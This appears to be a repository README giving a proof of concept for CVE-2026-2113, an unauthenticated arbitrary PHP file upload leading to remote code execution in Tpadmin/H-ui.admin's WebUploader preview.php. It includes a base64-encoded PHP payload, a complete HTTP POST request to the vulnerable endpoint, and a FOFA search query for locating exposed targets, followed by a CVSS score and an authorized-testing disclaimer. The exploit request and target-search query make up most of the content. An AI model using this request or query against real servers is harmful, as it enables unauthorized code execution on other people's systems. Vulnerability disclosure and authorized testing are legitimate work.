maxmnml/tpadmin-cve-2026-2113-pocA Remote Code Execution vulnerability allowing unauthenticated attackers to upload arbitrary PHP files directly to the web server. This results in immediate Remote Code Execution with web server privileges.
A proof-of-concept exploiting a Remote Code Execution with web server privileges via Arbitrary File Upload.
A critical Remote Code Execution vulnerability exists in H-ui.admin system's WebUploader preview component. The <font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">/public/static/admin/lib/webuploader/0.1.5/server/preview.php</font> file lacks proper authentication and file validation, allowing unauthenticated attackers to upload arbitrary PHP files directly to the web server. This results in immediate Remote Code Execution with web server privileges.
printf "<? php phpinfo();?>" | base64
PD9waHAgcGhwaW5mbygpOz8+
POST /admin/lib/webuploader/0.1.5/server/preview.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: PHPSESSID=6mqs895r9r0k9ci9jj0hms506n
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
data:image/php;base64,PD9waHAgcGhwaW5mbygpOz8+
FOFA:
title='Tpadmin'
An unauthenticated remote attacker can exploit an Arbitrary File Upload to gain an RCE with web server privileges.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P - 6.9:Medium
There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.
This tool is for authorized security testing only. Unauthorized access to computer systems is illegal.